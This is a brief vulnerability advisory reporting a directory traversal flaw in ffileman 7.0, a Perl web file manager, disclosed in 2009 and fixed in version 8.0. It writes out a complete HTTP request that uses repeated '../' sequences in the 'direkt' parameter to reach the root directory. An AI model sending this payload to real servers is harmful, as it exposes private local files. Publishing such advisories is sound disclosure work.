f-fileman 7.0 – Directory Traversal
Advisory: ffileman 7.0 Directory Traversal Vulnerability Credits: Raffaele Forte http://www.backbox.org Tested Versions: ffileman 7.0 Software Link: http://sourceforge.net/projects/f-fileman/ Tested on: Unix Category: Directory Traversal Severity: Medium Description: Directory traversal vulnerabilities has been found in ffileman 7.0 a web based file and directory manager written with Perl. The vulnerability can be exploited to access local files by entering special characters in variables used to create file paths. The attackers use “../” sequences to move up to root directory, thus permitting navigation through the file system. The issue discovered can only be exploited with an authenticated session and setting the variable "direkt" like below with a HTTP GET or POST request. Request: GET http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=../../../../../../../../&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory HTTP/1.1 Host: [webserver IP] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=[original path]&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory Disclosure: 2009-07-17 Fixed with version 8.0 |